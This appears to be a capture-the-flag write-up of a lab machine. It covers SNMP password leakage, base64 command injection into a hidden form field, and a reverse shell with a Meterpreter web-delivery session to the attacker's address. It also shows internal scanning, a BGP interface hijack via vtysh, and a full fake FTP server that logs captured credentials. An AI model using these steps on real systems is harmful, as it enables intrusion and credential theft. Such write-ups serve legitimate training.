PORT STATE SERVICE 9/udp closed discard 88/udp closed kerberos-sec 161/udp open snmp 2222/udp closed msantipiracy 17185/udp closed wdbrpc 49153/udp closed unknown 49192/udp closed unknown
snmpwalk -v 2c -c public 10.10.10.105
1 2
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23" SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
The main page is password protected by a login page that shows two error codes: 45007 and 45009.
In /doc we have a network schema and a PDF file:
The PDF file contains a list of error codes with descriptions:
So we know that the license of the software is expired and default password for the admin user is retrievable from the chassis of the product. From snmp we found the string SN#NET_45JDX23 where SN# should be the serial number and NET_45JDX23 the password for admin.
From the dashboard we found that in the Diagnostics tab we get the output of a similar ps aux command.
From the source code of the page we found that the form has a hidden <input> with value cXVhZ2dh (quagga in base64):
1 2 3 4 5 6 7 8
<formrole="form"method="post"> <inputtype="hidden"id="check"name="check"value="cXVhZ2dh"> <divclass="form-group"> <buttontype="submit"class="btn btn-primary"> Verify status </button> </div> </form>
Changing the value of input check to root (in base64) we got the list of all process running as root; this form can be exploited to have an RCE on the backend system.
We tried to append some command on the input value but we managed to get a reverse shell using the operator && to concat a command.
print( """msfconsole -x \"use exploit/multi/script/web_delivery; set URIPATH dodometer; set LPORT 3487; set LHOST $(ip addr show tun0 | grep -Po \"inet \K[\d.]+\"); set SRVHOST $(ip addr show tun0 | grep -Po \"inet \K[\d.]+\"); set target Python; set payload python/meterpreter/reverse_tcp; run -j\"""" )
with requests.Session() as s: s.post(url, data=login_data) rce_data["check"] = b64encode(cmd.encode()) s.post(rce_url, data=rce_data)
So we wrote a python script to spawn first a netcat reverse shell on port 4444 and then we can use the metasploit web delivery module to get a metepreter session and read the first flag.
The script will first create the command to open a socket using mkfifo and bash on port 4444 to our tun0 ip address. When we have the reverse shell we can call the python command from metasploit.
N.B.: on remote machine python3 and is not linked to python; we must use alias python="python3" for metasploit stage dropper
After some base enumeration and with LinEnum we had not found anything but some other networks associated with other LXD cotainers. From static-binaries we imported nmap on the remote machine using the meterpreter session to perform a scan on the local network and discover other containers and service to abuse to find the root.txt file.
Nmap scan report for 10.99.64.3 Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.000059s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp MAC Address: 00:16:3E:40:AF:E9 (Unknown)
Nmap scan report for 10.99.64.1 Host is up (0.000042s latency). Not shown: 65532 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 53/tcp open domain MAC Address: FE:53:9E:2F:F7:89 (Unknown)
Nmap scan report for 10.99.64.4 Host is up (0.00010s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp MAC Address: 00:16:3E:57:40:D4 (Unknown)
Nmap scan report for 10.99.64.251 Host is up (0.000027s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:16:3E:F3:92:14 (Unknown)
Nmap scan report for 10.99.64.2 Host is up (0.000013s latency). Not shown: 52241 closed ports, 13293 filtered ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp MAC Address: 00:16:3E:5B:49:A9 (Unknown)
Nmap scan report for 10.78.10.1 Host is up (0.000035s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp
Nmap scan report for 10.78.11.2 Host is up (0.000041s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp MAC Address: 00:16:3E:C4:FA:83 (Unknown)
Nmap scan report for 10.78.11.1 Host is up (0.000054s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp
All hosts are using bgp to issuing routes within the LAN but one of them also got a FTP service: 10.99.64.1.
From ticket #6 we notice that some VIP in 10.120.15.0/24 had some FTP problems and also some routes were messed up. Since we can use vtysh to instruct quogga via shell commands we used it to change the IP address of the eth2 interface and spawn a fake FTP to get some credentials (the void pcap in the home directory was an hint):
1 2 3
configure terminal int eth2 ip address 10.120.15.11/24
#!/usr/bin/env python from datetime import datetime from optparse import OptionParser from socketserver import BaseRequestHandler, ThreadingTCPServer from sys import stdout
classFTPLoginHandler(BaseRequestHandler): """Handler for FTP authentication."""
defdebug(self, message): """Show log message.""" if self.server.debug: print('***', message)
defrespond(self, code, explanation): print(code, explanation) """Send a response to the client.""" self.request.send('{} {}\r\n'.format(code, explanation).encode())
defprocess_request(self): """Parse input into a command and an argument.""" data = self.request.recv(64).decode() parts = data.strip().split(' ') return parts.pop(0), parts
deflog_auth(self, user, password): """Write username and password to logfile.""" now = datetime.now().isoformat(' ')[:19] client = '%s:%d' % self.client_address line = ' '.join((now, client, user, password)) self.server.logfile.write(line + '\n') self.server.logfile.flush()
defhandle(self): """Handle incoming data.""" self.debug('Connection from %s:%d.' % self.client_address) self.respond(220, self.server.banner) user = None whileTrue: cmd, args = self.process_request() if cmd == 'USER': if user isnotNone: self.respond( 503, 'Incorrect sequence of' ' commands: PASS required after USER.') continue user = (args and args[0] or'*missing*') self.debug('User "%s" has identified.' % user) self.respond(331, 'Please specify the password.') continue elif cmd == 'PASS': if user isNone: self.respond( 503, 'Incorrect sequence of' ' commands: USER required before PASS.') continue password = (args and args[0] or'*missing*') self.debug('User "%s" supplied password "%s", storing.' % (user, password)) self.log_auth(user, password) self.respond(530, 'Login incorrect.') break else: self.debug('Rejecting request "%s".' % ' '.join(args)) self.respond(530, 'Please login with USER and PASS.') break self.request.close() self.debug('Connection with %s:%d closed.' % self.client_address)